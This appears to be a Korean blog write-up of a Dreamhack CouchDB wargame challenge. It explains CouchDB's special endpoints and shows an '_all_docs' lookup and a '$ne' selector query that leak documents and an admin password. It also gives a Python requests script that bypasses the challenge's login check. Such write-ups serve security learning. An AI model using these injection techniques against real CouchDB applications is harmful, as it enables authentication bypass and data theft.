CouchDB
- HTTP 기반의 서버로 동작, HTTP 메소드를 사용해 요청을 받고 처리함
- users 데이터베이스에 (guest) 값 추가: body에 추가하고자 하는 data 넣어서 POST/PUT 요청 보냄
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
- users 데이터베이스의 값 조회: GET 요청 보냄
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
CouchDB 특수 구성 요소
/ | 인스턴스에 대한 메타 정보를 반환합니다. |
/_all_dbs | 인스턴스의 데이터베이스 목록을 반환합니다. |
/_utils | 관리자 페이지 (Fauxton Administration Interface)로 이동합니다. |
/{DB 이름} | 지정한 데이터베이스에 대한 정보를 반환합니다. |
/{DB 이름}/_all_docs | 지정한 데이터베이스에 포함된 모든 도큐먼트를 반환합니다. |
/{DB 이름}/_find | 지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환합니다. |
CouchDB 공격 기법
1. 데이터베이스의 값을 조회하는 get() 함수
- 전달된 인자에 대해 특수 구성 요소 포함하는지 검사하지 않음
- uid로 의도된 값이 아닌 _all_docs를 건네주었을 경우 데이터베이스 정보 leak 가능
> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err: null ,result: { total_rows: 3,
offset: 0,
rows:
[ { id: '0c1371b65480420e678d00c2770003f3',
key: '0c1371b65480420e678d00c2770003f3',
value: [Object] },
{ id: '0c1371b65480420e678d00c277001712',
key: '0c1371b65480420e678d00c277001712',
value: [Object] },
{ id: 'guest', key: 'guest', value: [Object] } ] }
*/
2. 전달된 쿼리를 기반으로 데이터베이스의 값을 조회하는 find() 함수
- selector 안의 operator를 사용할 수 있는데, 연산자를 포함한 쿼리문을 전달해 주요 정보 획득 가능
ex) $ne 연산자 사용
> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err: null ,result: { docs:
[ { _id: 'admin',
_rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2',
upw: 'secretpassword' } ],
bookmark:
'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR',
warning:
'No matching index found, create an index to optimize query time.' }
*/
문제 분석
- index.ejs의 스크립트 코드 일부
$("#form").submit(function( event ) {
event.preventDefault();
$("#form").serializeObject()
$.ajax({
type:"POST",
data: JSON.stringify($("#form").serializeObject()),
dataType:"json",
url: "/auth",
contentType:"application/json",
}).always(function(e){
const $target = document.getElementById('modal-div');
document.getElementById('modal-text').innerText = e.responseText;
openModal($target);
});
});
폼에 입력된 데이터를 직렬화/JSON화 해서 POST 요청에 담아 보낸다
- app.js
const nano = require('nano')(`http://${process.env.COUCHDB_USER}:${process.env.COUCHDB_PASSWORD}@couchdb:5984`);
const users = nano.db.use('users');
app.post('/auth', function(req, res) {
users.get(req.body.uid, function(err, result) {
if (err) {
console.log(err);
res.send('error');
return;
}
if (result.upw === req.body.upw) {
res.send(`FLAG: ${process.env.FLAG}`);
} else {
res.send('fail');
}
});
});
- req.body.uid를 uid로 하여 DB에서 데이터를 찾아 result에 담는다
- (에러 발생하지 않을 경우) result.upw 와 req.body.upw를 비교하여 일치하면 플래그 출력한다
문제 풀이
- uid 로 _all_docs 넘겨준다면 DB에 담긴 모든 도큐먼트가 반환되므로 result 존재, error 발생하지 않는다
- 하지만 result 구조체에는 upw 존재하지 않음 (일반 도큐먼트랑 다름), result.upw === undefined
- req.body.upw === undefined 이면 검사 통과해 플래그 획득 가능
풀이 1) burp suite 사용
풀이 2) python requests 모듈 사용
import requests
url = "http://host3.dreamhack.games:8849/auth"
data = {
"uid": "_all_docs"
}
# requests.post(url, json=보낼 데이터, headers=헤더 정보)
print(requests.post(url, json=data).text)
'security > 웹해킹' 카테고리의 다른 글
Linux Command Injection Technique 정리 (0) | 2023.07.15 |
---|---|
[Dreamhack Wargame] phpMyRedis + .rdb 파일을 이용한 웹쉘 업로드 (0) | 2023.07.15 |
[Dreamhack Wargame] SQL Injection Bypass WAF 1, 2 (0) | 2023.07.15 |
[Dreamhack Wargame] Error Based SQL Injection (0) | 2023.07.14 |
[Dreamhack Wargame] Blind SQL Injection Advanced (1) | 2023.07.14 |